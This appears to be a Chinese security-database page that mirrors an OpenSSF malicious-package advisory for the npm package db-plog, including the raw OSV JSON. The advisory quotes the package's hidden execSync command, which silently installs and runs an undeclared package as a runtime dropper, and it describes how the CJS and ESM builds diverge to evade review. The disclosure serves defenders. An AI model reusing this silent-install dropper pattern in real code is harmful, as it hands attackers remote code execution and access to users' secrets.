目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

db-plog

MAL-2026-6538
2026-07-08 22:53:33
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in db-plog (npm)

凭据/密钥窃取安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
9
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmdb-plog*
npmdb-plog1.0.0
npmdb-plog1.0.1
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-08T22:53:33Z","published":"2026-06-26T21:08:49Z","schema_version":"1.7.4","id":"MAL-2026-6538","aliases":["GHSA-j49r-84jx-vq3m"],"summary":"Malicious code in db-plog (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99)\nOn every Model instantiation — the package's documented primary API — dist/index.js executes `execSync('npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true })`, then `require('db-connector-log')` and invokes `new DxDatabaseConnector({}).queryDBConnect()`. The 'db-connector-log' package is not declared in package.json's dependencies, is not mentioned in the README, and the silenced npm flags plus windowsHide are designed to hide the install from the operator. This is a runtime dropper: whoever controls the separately-published 'db-connector-log' package can ship arbitrary code to anyone who loads db-plog and uses its Model API, and can mutate that code at any time without republishing db-plog. The CJS bundle (dist/index.js, declared as `main`) contains this dropper while the ESM bundle (dist/index.mjs, declared as `module`) omits it entirely — Model in the.mjs build has no resetor() call and no resetor method. Two divergent builds from one Rollup configuration is a deliberate evasion pattern that hides the payload from reviewers and bundlers reading the ESM entry. The harm fires the first time consuming code instantiates Model, which is the package's advertised use, so any normal use of the library triggers the dropper.\n\n## Source: ghsa-malware (8d8c56bfe4895936bcaa326b6b4c874fc91a9674096d186acf29481e99faea9a)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"db-plog"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.1","1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/index.js","sha256":"c3946ddee67410aba816f9a2bfa5c5bddf526d3d4dd50619ba39ea9521cf243d","tlsh":"2452338937fb2930456b30691e0f8107b63a944ba91ded4c7a9c42d4af4847e52f3bf9"}],"package_integrity":[{"filename":"db-plog-1.0.1.tgz","hashes":{"sha1":"1e7000da12ac4510ab342ab46ce5b2383617e8c6","sha512_sri":"sha512-UkBUwJSZdMqUAgUeMxgnNCBXsZo1mmZjUey77EqUn7YkyHxCo0MyqRLKubjFfDWFhDsqTLBLFwIryUhVgOKHEA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/db-plog/v/1.0.1"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j49r-84jx-vq3m"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/db-plog/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99","import_time":"2026-06-26T21:34:02.397255878Z","id":"IN-MAL-2026-007665","modified_time":"2026-06-26T21:08:49Z","versions":["1.0.1"]},{"source":"ghsa-malware","sha256":"8d8c56bfe4895936bcaa326b6b4c874fc91a9674096d186acf29481e99faea9a","import_time":"2026-07-02T13:54:24.691235129Z","id":"GHSA-j49r-84jx-vq3m","modified_time":"2026-07-02T13:17:43Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"amazon-inspector","sha256":"e722f3969ede973a84acb8dbf19ef1a950709c57756d6653e3dd1e7dcc70f871","import_time":"2026-07-08T22:51:26.946106423Z","id":"IN-MAL-2026-008843","modified_time":"2026-07-08T22:41:19Z","versions":["1.0.0"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0